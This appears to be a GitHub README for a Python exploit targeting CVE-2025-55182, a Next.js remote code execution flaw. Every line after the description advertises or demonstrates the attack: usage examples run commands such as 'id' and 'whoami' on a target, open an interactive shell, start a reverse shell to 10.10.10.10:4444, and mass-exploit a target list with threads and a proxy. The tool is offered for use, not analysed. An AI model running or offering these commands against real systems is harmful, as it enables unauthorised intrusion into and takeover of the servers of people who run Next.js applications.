imbas007/poc-cve-2025-55182Python exploit for CVE-2025-55182 targeting Next.js RCE with single-target, mass scanning, interactive shell, and reverse shell capabilities.
credit : https://github.com/Malayke/Next.js-RSC-RCE-Scanner-CVE-2025-66478
usage: CVE-2025-55182-Exp.py [-h] [-u URL] [-l LIST] [-c COMMAND] [-i] [--revshell LHOST LPORT] [-t THREADS] [--proxy PROXY] [--timeout TIMEOUT] [-v]
# Single target exploit
python3 CVE-2025-55182-Exp.py -u http://target:3000 -c "id"
# Interactive shell
python3 CVE-2025-55182-Exp.py -u http://target:3000 -i
# Reverse shell
python3 CVE-2025-55182-Exp.py -u http://target:3000 --revshell 10.10.10.10 4444
# Mass scan from file
python3 CVE-2025-55182-Exp.py -l targets.txt -c "whoami" -t 10
# With proxy
python3 CVE-2025-55182-Exp.py -u http://target:3000 -c "id" --proxy http://127.0.0.1:8080